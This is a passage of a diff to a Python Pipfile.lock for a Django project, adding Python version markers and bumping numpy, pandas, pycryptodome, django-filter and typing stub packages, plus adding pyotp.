"dataclasses-json": { @@ -373,6 +383,7 @@ "sha256:77cbc80041007c27db90abad79eeed9ea00d4627324b1208266379a6ebdc81e4" ], "index": "pypi", + "markers": "python_version >= '3.7' and python_version < '4.0'", "version": "==0.6.0" }, "ddt": { @@ -405,6 +416,7 @@ "sha256:d31b06c58aa2cd73998ca5966bc3001243d3c4e77ee2d0c479bced124765fd99" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==3.2.21" }, "django-add-default-value": { @@ -429,6 +441,7 @@ "sha256:f9749c6410fe738278bc2b6ef17f05195bc7b251693c035752d8257026af024f" ], "index": "pypi", + "markers": "python_version >= '3.8'", "version": "==4.2.0" }, "django-cprofile-middleware": { @@ -448,11 +461,12 @@ }, "django-filter": { "hashes": [ - "sha256:2fe15f78108475eda525692813205fa6f9e8c1caf1ae65daa5862d403c6dbf00", - "sha256:d12d8e0fc6d3eb26641e553e5d53b191eb8cec611427d4bdce0becb1f7c172b5" + "sha256:015fe155582e1805b40629344e4a6cf3cc40450827d294d040b4b8c1749a9fa6", + "sha256:65bc5d1d8f4fff3aaf74cb5da537b6620e9214fb4b3180f6c560776b1b6dccd0" ], "index": "pypi", - "version": "==23.2" + "markers": "python_version >= '3.7'", + "version": "==23.3" }, "django-health-check": { "hashes": [ @@ -460,6 +474,7 @@ "sha256:d1b8671e79d1de6e3dd1a9c69566222b0bfcfacca8b90511a4407b2d0d3d2778" ], "index": "pypi", + "markers": "python_version >= '3.8'", "version": "==3.17.0" }, "django-import-export": { @@ -468,6 +483,7 @@ "sha256:cf6f3dabdd4f32dcb26e25c7ddcba7aee3168b55d380b0da79f0349afa17c011" ], "index": "pypi", + "markers": "python_version >= '3.5'", "version": "==2.5.0" }, "django-mock-queries": { @@ -475,7 +491,7 @@ "sha256:7ee3f34752e8131479924ea6952fe37c4106cc18e6fc3e5e9b28b333eeda10b3" ], "index": "pypi", - "version": "==v2.1.7" + "version": "==2.1.7" }, "django-modeltranslation": { "hashes": [ @@ -505,6 +521,7 @@ "sha256:8a99e5582c79f894168f5865c52bd921213253b7fd64d16733ae4591564465de" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==5.2.0" }, "django-rest-framework-proxy": { @@ -520,6 +537,7 @@ "sha256:771f88a24f6166bdb3a944769fa09e24c317ea1b8f5ee8040d121d30b4395219" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==0.4.3" }, "django-silk": { @@ -528,6 +546,7 @@ "sha256:50552f06d9306d06517fbeab9a2c74856355e06304f03ed16b6dd353f7c77e7a" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==5.0.3" }, "django-simple-captcha": { @@ -546,7 +565,7 @@ "sha256:0bbf9eb172c5b06eccff2d704c7c3906e4a2c6146df8c32ee9f3a51e29265581", "sha256:25010658acac0ce4a69211b55dd719fd16dbfe54fcfe5c878d0c8db07bdd5482" ], - "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.15.0" }, "django-stubs-ext": { @@ -578,6 +597,7 @@ "sha256:8f0e77289d911069a6a15bab5a25ccf2c0fcb8fc4177461dd17470cfdeb94aa6" ], "index": "pypi", + "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==2.0" }, "django-xff": { @@ -595,6 +615,7 @@ "sha256:f747949a8ddac876e879190df194b925c177cdeb725a099db1460872f7c0a7f2" ], "index": "pypi", + "markers": "python_version >= '3.5'", "version": "==3.12.4" }, "djangorestframework-dataclasses": { @@ -603,6 +624,7 @@ "sha256:d3796b5ce3f7266d525493c557ce7df9ffeae4367006250298ea4d94da4106c4" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.3.1" }, "djangorestframework-stubs": { @@ -613,7 +635,7 @@ "sha256:89f6c2add193cb5ab61b9e47187b33a93cc099376a8df5e4d6c3fc8ecb992d3b", "sha256:9475e1374b057ffbdcaaa84a060fe5f01476d8b9014d82a83b4153f57fbcbc1f" ], - "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.9.1" }, "docxcompose": { @@ -637,6 +659,7 @@ "sha256:866e16ddaae167a1234c76cd8c351161373551db994ce9665b347b32d5daf38b" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==0.22.1" }, "elasticsearch": { @@ -645,6 +668,7 @@ "sha256:ed9c0cd58e05959a56e306ecf444f794da6afde75b213e26758f7a317e5e668c" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' and python_version < '4'", "version": "==7.17.7" }, "elasticsearch-dsl": { @@ -669,6 +693,7 @@ "sha256:9db2c621eeefbc844c8dd88be64aef61e84e2deb29b271e02ab2b5b9f01068e2" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==2.0.1" }, "gevent": { @@ -727,6 +752,7 @@ "sha256:f7ed2346eb9dc4344f9cb0d7963ce5b74fe16fdd031a2809bb6c2b6eba7ebcd5" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", "version": "==22.10.2" }, "gprof2dot": { @@ -813,6 +839,7 @@ "sha256:e0a968b5ba15f8a328fdfd7ab1fcb5af4470c28aaf7e55df02a99bc13138e6e8" ], "index": "pypi", + "markers": "python_version >= '3.5'", "version": "==20.1.0" }, "humanize": { @@ -828,6 +855,7 @@ "sha256:90b73b89f807f8b387beaa7f1f86baa4a64fa5674df5db9ab1a7362433f8e3b8" ], "index": "pypi", + "markers": "python_version >= '3'", "version": "==1.0.20" }, "idna": { @@ -836,6 +864,7 @@ "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.10" }, "inflection": { @@ -921,6 +950,7 @@ "sha256:fe9fb7748e39b30b5723a7f6695e2f6c58707563b94f1239766d2c8b9550f147" ], "index": "pypi", + "markers": "python_version >= '3.5'", "version": "==1.3.0" }, "jsonlog": { @@ -929,6 +959,7 @@ "sha256:ee313731f2a8611a13e0c15cfcfbab75c524f27c8bae24eaeb7ee7a061a60c55" ], "index": "pypi", + "markers": "python_version >= '3.6' and python_version < '4.0'", "version": "==4.0.0" }, "jsonschema": { @@ -937,6 +968,7 @@ "sha256:f660066c3966db7d6daeaea8a75e0b68237a48e51cf49882087757bb59916248" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==4.17.0" }, "kombu": { @@ -1021,6 +1053,7 @@ "sha256:fe749b052bb7233fe5d072fcb549221a8cb1a16725c47c37e42b0b9cb3ff2c3f" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==4.9.1" }, "marisa-trie": { @@ -1090,6 +1123,7 @@ "sha256:fb76cbb76a10231b6e7366a31a7eecfc742d32f8988ded0b5ae8b325c49ef103" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==0.8.0" }, "markuppy": { @@ -1194,6 +1228,7 @@ "sha256:64e0735fcfdc6f3464ea133afe8ea4483b1c5fe3a3d69852e6503b43a0b222e6" ], "index": "pypi", + "markers": "python_version >= '3.8'", "version": "==10.1.0" }, "mypy": { @@ -1226,6 +1261,7 @@ "sha256:eda5c8b9949ed411ff752b9a01adda31afe7eae1e53e946dbdf9db23865e66c4" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==1.0.1" }, "mypy-extensions": { @@ -1247,6 +1283,7 @@ "sha256:9c6b142836c7dba4f723bf9c93cc46b6e5081d65b2af807f400dda9eb85a16d0" ], "index": "pypi", + "markers": "python_version >= '3.8'", "version": "==2.2.0" }, "networkit": { @@ -1279,39 +1316,46 @@ "sha256:4f33f68cb2afcf86f28a45f43efc27a9386b535d567d2127f8f61d51dec58d36", "sha256:de346335408f84de0eada6ff9fafafff9bcda11f0a0dfaa931133debb146ab61" ], - "index": "pypi", + "markers": "python_version >= '3.8'", "version": "==3.1" }, "numpy": { "hashes": [ - "sha256:0d60fbae8e0019865fc4784745814cff1c421df5afee233db6d88ab4f14655a2", - "sha256:1a1329e26f46230bf77b02cc19e900db9b52f398d6722ca853349a782d4cff55", - "sha256:1b9735c27cea5d995496f46a8b1cd7b408b3f34b6d50459d9ac8fe3a20cc17bf", - "sha256:2792d23d62ec51e50ce4d4b7d73de8f67a2fd3ea710dcbc8563a51a03fb07b01", - "sha256:3e0746410e73384e70d286f93abf2520035250aad8c5714240b0492a7302fdca", - "sha256:4c3abc71e8b6edba80a01a52e66d83c5d14433cbcd26a40c329ec7ed09f37901", - "sha256:5883c06bb92f2e6c8181df7b39971a5fb436288db58b5a1c3967702d4278691d", - "sha256:5c97325a0ba6f9d041feb9390924614b60b99209a71a69c876f71052521d42a4", - "sha256:60e7f0f7f6d0eee8364b9a6304c2845b9c491ac706048c7e8cf47b83123b8dbf", - "sha256:76b4115d42a7dfc5d485d358728cdd8719be33cc5ec6ec08632a5d6fca2ed380", - "sha256:7dc869c0c75988e1c693d0e2d5b26034644399dd929bc049db55395b1379e044", - "sha256:834b386f2b8210dca38c71a6e0f4fd6922f7d3fcff935dbe3a570945acb1b545", - "sha256:8b77775f4b7df768967a7c8b3567e309f617dd5e99aeb886fa14dc1a0791141f", - "sha256:90319e4f002795ccfc9050110bbbaa16c944b1c37c0baeea43c5fb881693ae1f", - "sha256:b79e513d7aac42ae918db3ad1341a015488530d0bb2a6abcbdd10a3a829ccfd3", - "sha256:bb33d5a1cf360304754913a350edda36d5b8c5331a8237268c48f91253c3a364", - "sha256:bec1e7213c7cb00d67093247f8c4db156fd03075f49876957dca4711306d39c9", - "sha256:c5462d19336db4560041517dbb7759c21d181a67cb01b36ca109b2ae37d32418", - "sha256:c5652ea24d33585ea39eb6a6a15dac87a1206a692719ff45d53c5282e66d4a8f", - "sha256:d7806500e4f5bdd04095e849265e55de20d8cc4b661b038957354327f6d9b295", - "sha256:db3ccc4e37a6873045580d413fe79b68e47a681af8db2e046f1dacfa11f86eb3", - "sha256:dfe4a913e29b418d096e696ddd422d8a5d13ffba4ea91f9f60440a3b759b0187", - "sha256:eb942bfb6f84df5ce05dbf4b46673ffed0d3da59f13635ea9b926af3deb76926", - "sha256:f08f2e037bba04e707eebf4bc934f1972a315c883a9e0ebfa8a7756eabf9e357", - "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760" + "sha256:020cdbee66ed46b671429c7265cf00d8ac91c046901c55684954c3958525dab2", + "sha256:0621f7daf973d34d18b4e4bafb210bbaf1ef5e0100b5fa750bd9cde84c7ac292", + "sha256:0792824ce2f7ea0c82ed2e4fecc29bb86bee0567a080dacaf2e0a01fe7654369", + "sha256:09aaee96c2cbdea95de76ecb8a586cb687d281c881f5f17bfc0fb7f5890f6b91", + "sha256:166b36197e9debc4e384e9c652ba60c0bacc216d0fc89e78f973a9760b503388", + "sha256:186ba67fad3c60dbe8a3abff3b67a91351100f2661c8e2a80364ae6279720299", + "sha256:306545e234503a24fe9ae95ebf84d25cba1fdc27db971aa2d9f1ab6bba19a9dd", + "sha256:436c8e9a4bdeeee84e3e59614d38c3dbd3235838a877af8c211cfcac8a80b8d3", + "sha256:4a873a8180479bc829313e8d9798d5234dfacfc2e8a7ac188418189bb8eafbd2", + "sha256:4acc65dd65da28060e206c8f27a573455ed724e6179941edb19f97e58161bb69", + "sha256:51be5f8c349fdd1a5568e72713a21f518e7d6707bcf8503b528b88d33b57dc68", + "sha256:546b7dd7e22f3c6861463bebb000646fa730e55df5ee4a0224408b5694cc6148", + "sha256:5671338034b820c8d58c81ad1dafc0ed5a00771a82fccc71d6438df00302094b", + "sha256:637c58b468a69869258b8ae26f4a4c6ff8abffd4a8334c830ffb63e0feefe99a", + "sha256:767254ad364991ccfc4d81b8152912e53e103ec192d1bb4ea6b1f5a7117040be", + "sha256:7d484292eaeb3e84a51432a94f53578689ffdea3f90e10c8b203a99be5af57d8", + "sha256:7f6bad22a791226d0a5c7c27a80a20e11cfe09ad5ef9084d4d3fc4a299cca505", + "sha256:86f737708b366c36b76e953c46ba5827d8c27b7a8c9d0f471810728e5a2fe57c", + "sha256:8c6adc33561bd1d46f81131d5352348350fc23df4d742bb246cdfca606ea1208", + "sha256:914b28d3215e0c721dc75db3ad6d62f51f630cb0c277e6b3bcb39519bed10bd8", + "sha256:b44e6a09afc12952a7d2a58ca0a2429ee0d49a4f89d83a0a11052da696440e49", + "sha256:bb0d9a1aaf5f1cb7967320e80690a1d7ff69f1d47ebc5a9bea013e3a21faec95", + "sha256:c0b45c8b65b79337dee5134d038346d30e109e9e2e9d43464a2970e5c0e93229", + "sha256:c2e698cb0c6dda9372ea98a0344245ee65bdc1c9dd939cceed6bb91256837896", + "sha256:c78a22e95182fb2e7874712433eaa610478a3caf86f28c621708d35fa4fd6e7f", + "sha256:e062aa24638bb5018b7841977c360d2f5917268d125c833a686b7cbabbec496c", + "sha256:e5e18e5b14a7560d8acf1c596688f4dfd19b4f2945b245a71e5af4ddb7422feb", + "sha256:eae430ecf5794cb7ae7fa3808740b015aa80747e5266153128ef055975a72b99", + "sha256:ee84ca3c58fe48b8ddafdeb1db87388dce2c3c3f701bf447b05e4cfcc3679112", + "sha256:f042f66d0b4ae6d48e70e28d487376204d3cbf43b84c03bac57e28dac6151581", + "sha256:f8db2f125746e44dce707dd44d4f4efeea8d7e2b43aace3f8d1f235cfa2733dd", + "sha256:f93fc78fe8bf15afe2b8d6b6499f1c73953169fad1e9a8dd086cdff3190e7fdf" ], - "markers": "python_version >= '3.9'", - "version": "==1.25.2" + "markers": "python_version < '3.13' and python_version >= '3.9'", + "version": "==1.26.0" }, "odfpy": { "hashes": [ @@ -1326,6 +1370,7 @@ "sha256:8f3b11bd896a95468a4ab162fc4fcd260d46157155d1f8bfaabb99d88cfcf79f" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==3.0.9" }, "oss2": { @@ -1341,32 +1386,40 @@ "sha256:ef103e05f519cdc783ae24ea4e2e0f508a9c99b2d4969652eed6a2e1ea5bd522" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==21.3" }, "pandas": { "hashes": [ - "sha256:0164b85937707ec7f70b34a6c3a578dbf0f50787f910f21ca3b26a7fd3363437", - "sha256:28f330845ad21c11db51e02d8d69acc9035edfd1116926ff7245c7215db57957", - "sha256:38f74ef7ebc0ffb43b3d633e23d74882bce7e27bfa09607f3c5d3e03ffd9a4a5", - "sha256:40dd20439ff94f1b2ed55b393ecee9cb6f3b08104c2c40b0cb7186a2f0046242", - "sha256:629124923bcf798965b054a540f9ccdfd60f71361255c81fa1ecd94a904b9dd3", - "sha256:62c24c7fc59e42b775ce0679cfa7b14a5f9bfb7643cfbe708c960699e05fb918", - "sha256:6e6a0fe052cf27ceb29be9429428b4918f3740e37ff185658f40d8702f0b3e09", - "sha256:70cf866af3ab346a10debba8ea78077cf3a8cd14bd5e4bed3d41555a3280041c", - "sha256:86f100b3876b8c6d1a2c66207288ead435dc71041ee4aea789e55ef0e06408cb", - "sha256:9d81e1813191070440d4c7a413cb673052b3b4a984ffd86b8dd468c45742d3cc", - "sha256:b31da36d376d50a1a492efb18097b9101bdbd8b3fbb3f49006e02d4495d4c644", - "sha256:b9a6ccf0963db88f9b12df6720e55f337447aea217f426a22d71f4213a3099a6", - "sha256:cda72cc8c4761c8f1d97b169661f23a86b16fdb240bdc341173aee17e4d6cedd", - "sha256:d4f38e4fedeba580285eaac7ede4f686c6701a9e618d8a857b138a126d067f2f", - "sha256:d53c8c1001f6a192ff1de1efe03b31a423d0eee2e9e855e69d004308e046e694", - "sha256:d8c58b1113892e0c8078f006a167cc210a92bdae23322bb4614f2f0b7a4b510f", - "sha256:d97daeac0db8c993420b10da4f5f5b39b01fc9ca689a17844e07c0a35ac96b4b", - "sha256:d99e678180bc59b0c9443314297bddce4ad35727a1a2656dbe585fd78710b3b9", - "sha256:eb20252720b1cc1b7d0b2879ffc7e0542dd568f24d7c4b2347cb035206936421" - ], - "index": "pypi", - "version": "==2.1.0" + "sha256:02304e11582c5d090e5a52aec726f31fe3f42895d6bfc1f28738f9b64b6f0614", + "sha256:0489b0e6aa3d907e909aef92975edae89b1ee1654db5eafb9be633b0124abe97", + "sha256:05674536bd477af36aa2effd4ec8f71b92234ce0cc174de34fd21e2ee99adbc2", + "sha256:25e8474a8eb258e391e30c288eecec565bfed3e026f312b0cbd709a63906b6f8", + "sha256:29deb61de5a8a93bdd033df328441a79fcf8dd3c12d5ed0b41a395eef9cd76f0", + "sha256:366da7b0e540d1b908886d4feb3d951f2f1e572e655c1160f5fde28ad4abb750", + "sha256:3bcad1e6fb34b727b016775bea407311f7721db87e5b409e6542f4546a4951ea", + "sha256:4c3f32fd7c4dccd035f71734df39231ac1a6ff95e8bdab8d891167197b7018d2", + "sha256:4cdb0fab0400c2cb46dafcf1a0fe084c8bb2480a1fa8d81e19d15e12e6d4ded2", + "sha256:4f99bebf19b7e03cf80a4e770a3e65eee9dd4e2679039f542d7c1ace7b7b1daa", + "sha256:58d997dbee0d4b64f3cb881a24f918b5f25dd64ddf31f467bb9b67ae4c63a1e4", + "sha256:75ce97667d06d69396d72be074f0556698c7f662029322027c226fd7a26965cb", + "sha256:84e7e910096416adec68075dc87b986ff202920fb8704e6d9c8c9897fe7332d6", + "sha256:9e2959720b70e106bb1d8b6eadd8ecd7c8e99ccdbe03ee03260877184bb2877d", + "sha256:9e50e72b667415a816ac27dfcfe686dc5a0b02202e06196b943d54c4f9c7693e", + "sha256:a0dbfea0dd3901ad4ce2306575c54348d98499c95be01b8d885a2737fe4d7a98", + "sha256:b407381258a667df49d58a1b637be33e514b07f9285feb27769cedb3ab3d0b3a", + "sha256:b8bd1685556f3374520466998929bade3076aeae77c3e67ada5ed2b90b4de7f0", + "sha256:c1f84c144dee086fe4f04a472b5cd51e680f061adf75c1ae4fc3a9275560f8f4", + "sha256:c747793c4e9dcece7bb20156179529898abf505fe32cb40c4052107a3c620b49", + "sha256:cc1ab6a25da197f03ebe6d8fa17273126120874386b4ac11c1d687df288542dd", + "sha256:dc3657869c7902810f32bd072f0740487f9e030c1a3ab03e0af093db35a9d14e", + "sha256:f5ec7740f9ccb90aec64edd71434711f58ee0ea7f5ed4ac48be11cfa9abf7317", + "sha256:fecb198dc389429be557cde50a2d46da8434a17fe37d7d41ff102e3987fd947b", + "sha256:ffa8f0966de2c22de408d0e322db2faed6f6e74265aa0856f3824813cf124363" + ], + "index": "pypi", + "markers": "python_version >= '3.9'", + "version": "==2.1.1" }, "pep8": { "hashes": [ @@ -1441,6 +1494,7 @@ "sha256:f1ff2ee69f10f13a9596480335f406dd1f70c3650349e2be67ca3139280cade0" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==9.3.0" }, "prometheus-client": { @@ -1476,41 +1530,41 @@ }, "pycryptodome": { "hashes": [ - "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb", - "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6", - "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403", - "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148", - "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4", - "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825", - "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2", - "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14", - "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c", - "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4", - "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2", - "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb", - "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf", - "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec", - "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918", - "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3", - "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944", - "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e", - "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024", - "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f", - "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1", - "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380", - "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9", - "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e", - "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413", - "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec", - "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54", - "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2", - "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27", - "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b", - "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf", - "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08" + "sha256:0101f647d11a1aae5a8ce4f5fad6644ae1b22bb65d05accc7d322943c69a74a6", + "sha256:04dd31d3b33a6b22ac4d432b3274588917dcf850cc0c51c84eca1d8ed6933810", + "sha256:05e33267394aad6db6595c0ce9d427fe21552f5425e116a925455e099fdf759a", + "sha256:08ce3558af5106c632baf6d331d261f02367a6bc3733086ae43c0f988fe042db", + "sha256:139ae2c6161b9dd5d829c9645d781509a810ef50ea8b657e2257c25ca20efe33", + "sha256:17940dcf274fcae4a54ec6117a9ecfe52907ed5e2e438fe712fe7ca502672ed5", + "sha256:190c53f51e988dceb60472baddce3f289fa52b0ec38fbe5fd20dd1d0f795c551", + "sha256:22e0ae7c3a7f87dcdcf302db06ab76f20e83f09a6993c160b248d58274473bfa", + "sha256:3006c44c4946583b6de24fe0632091c2653d6256b99a02a3db71ca06472ea1e4", + "sha256:45430dfaf1f421cf462c0dd824984378bef32b22669f2635cb809357dbaab405", + "sha256:506c686a1eee6c00df70010be3b8e9e78f406af4f21b23162bbb6e9bdf5427bc", + "sha256:536f676963662603f1f2e6ab01080c54d8cd20f34ec333dcb195306fa7826997", + "sha256:542f99d5026ac5f0ef391ba0602f3d11beef8e65aae135fa5b762f5ebd9d3bfb", + "sha256:560591c0777f74a5da86718f70dfc8d781734cf559773b64072bbdda44b3fc3e", + "sha256:5b1986c761258a5b4332a7f94a83f631c1ffca8747d75ab8395bf2e1b93283d9", + "sha256:61bb3ccbf4bf32ad9af32da8badc24e888ae5231c617947e0f5401077f8b091f", + "sha256:7822f36d683f9ad7bc2145b2c2045014afdbbd1d9922a6d4ce1cbd6add79a01e", + "sha256:7919ccd096584b911f2a303c593280869ce1af9bf5d36214511f5e5a1bed8c34", + "sha256:7c760c8a0479a4042111a8dd2f067d3ae4573da286c53f13cf6f5c53a5c1f631", + "sha256:829b813b8ee00d9c8aba417621b94bc0b5efd18c928923802ad5ba4cf1ec709c", + "sha256:84c3e4fffad0c4988aef0d5591be3cad4e10aa7db264c65fadbc633318d20bde", + "sha256:8999316e57abcbd8085c91bc0ef75292c8618f41ca6d2b6132250a863a77d1e7", + "sha256:8c1601e04d32087591d78e0b81e1e520e57a92796089864b20e5f18c9564b3fa", + "sha256:a0ab84755f4539db086db9ba9e9f3868d2e3610a3948cbd2a55e332ad83b01b0", + "sha256:a9bcd5f3794879e91970f2bbd7d899780541d3ff439d8f2112441769c9f2ccea", + "sha256:bc35d463222cdb4dbebd35e0784155c81e161b9284e567e7e933d722e533331e", + "sha256:c1cc2f2ae451a676def1a73c1ae9120cd31af25db3f381893d45f75e77be2400", + "sha256:d033947e7fd3e2ba9a031cb2d267251620964705a013c5a461fa5233cc025270", + "sha256:d04f5f623a280fbd0ab1c1d8ecbd753193ab7154f09b6161b0f857a1a676c15f", + "sha256:d49a6c715d8cceffedabb6adb7e0cbf41ae1a2ff4adaeec9432074a80627dea1", + "sha256:e249a784cc98a29c77cea9df54284a44b40cafbfae57636dd2f8775b48af2434", + "sha256:fc7a79590e2b5d08530175823a242de6790abc73638cc6dc9d2684e7be2f5e49" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.18.0" + "version": "==3.19.0" }, "pycryptodomex": { "hashes": [ @@ -1543,6 +1597,7 @@ "sha256:f8524b8bc89470cec7ac51734907818d3620fb1637f8f8b542d650ebec42a126" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==3.14.1" }, "pydantic": { @@ -1593,6 +1648,7 @@ "sha256:66c98190c65b8d2e2382a441b4c0edfdb4f4c025ef9cb9874de478fb0793a451" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.4.2" }, "pymysql": { @@ -1601,8 +1657,18 @@ "sha256:816927a350f38d56072aeca5dfb10221fe1dc653745853d30a216637f5d7ad36" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==1.0.2" }, + "pyotp": { + "hashes": [ + "sha256:346b6642e0dbdde3b4ff5a930b664ca82abfa116356ed48cc42c7d6590d36f63", + "sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612" + ], + "index": "pypi", + "markers": "python_version >= '3.7'", + "version": "==2.9.0" + }, "pyparsing": { "hashes": [ "sha256:32c7c0b711493c72ff18a981d24f28aaf9c1fb7ed5e9667c9e84e3db623bdbfb", @@ -1632,6 +1698,7 @@ "sha256:f3ae7b087abcbc4b910d535c2fb877ef452b61d2514a63fd15b8b020b51fe4b5" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==0.3.6" }, "pyrsistent": { @@ -1660,6 +1727,7 @@ "sha256:d16ac5ab3d9db78fed40c884d67079524e4cf8276639211ad9e6fa73e727727e" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==0.19.1" }, "python-crontab": { @@ -1690,6 +1758,7 @@ "sha256:f380b826a991ebbe3de4d897aeec42760035ac760345e57b812938dc8b35e2bd" ], "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==2.0.7" }, "pytz": { @@ -1762,6 +1831,7 @@ "sha256:da92a39fec86438d3f1e2a1db33c312985806954fe860120b582a8430e231d8f" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==4.4.4" }, "requests": { @@ -1770,6 +1840,7 @@ "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==2.31.0" }, "result": { @@ -1778,6 +1849,7 @@ "sha256:d6a6258f32c057a4e0478999c6ce43dcadaf8ea435f58ac601ae2768f93ef243" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==0.8.0" }, "s3transfer": { @@ -1825,6 +1897,7 @@ "sha256:e197a19aa8ec9722928f2206f8de752def0e4c9fc6953527360d1c36d94ddb2f" ], "index": "pypi", + "markers": "python_version >= '3.7'", "version": "==65.5.1" }, "shortuuid": { @@ -1833,6 +1906,7 @@ "sha256:fc75f2615914815a8e4cb1501b3a513745cb66ef0fd5fc6fb9f8c3fa3481f789" ], "index": "pypi", + "markers": "python_version >= '3.5'", "version": "==1.0.11" }, "simhash": { @@ -1852,6 +1926,7 @@ "sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced" ], "index": "pypi", + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.15.0" }, "sqlparse": { @@ -1935,10 +2010,10 @@ }, "types-pytz": { "hashes": [ - "sha256:1a7b8d4aac70981cfa24478a41eadfcd96a087c986d6f150d77e3ceb3c2bdfab", - "sha256:65152e872137926bb67a8fe6cc9cfd794365df86650c5d5fdc7b167b0f38892e" + "sha256:1999a123a3dc0e39a2ef6d19f3f8584211de9e6a77fe7a0259f04a524e90a5cf", + "sha256:cc23d0192cd49c8f6bba44ee0c81e4586a8f30204970fc0894d209a6b08dab9a" ], - "version": "==2023.3.0.1" + "version": "==2023.3.1.1" }, "types-pyyaml": { "hashes": [ @@ -1958,11 +2033,11 @@ }, "types-requests": { "hashes": [ - "sha256:56d181c85b5925cbc59f4489a57e72a8b2166f18273fd8ba7b6fe0c0b986f12a", - "sha256:6aa3f7faf0ea52d728bb18c0a0d1522d9bfd8c72d26ff6f61bfc3d06a411cf40" + "sha256:938f51653c757716aeca5d72c405c5e2befad8b0d330e3b385ce7f148e1b10dc", + "sha256:d5d7a08965fca12bedf716eaf5430c6e3d0da9f3164a1dba2a7f3885f9ebe3c0" ], "index": "pypi", - "version": "==2.31.0.2" + "version": "==2.31.0.3" }, "types-s3transfer": { 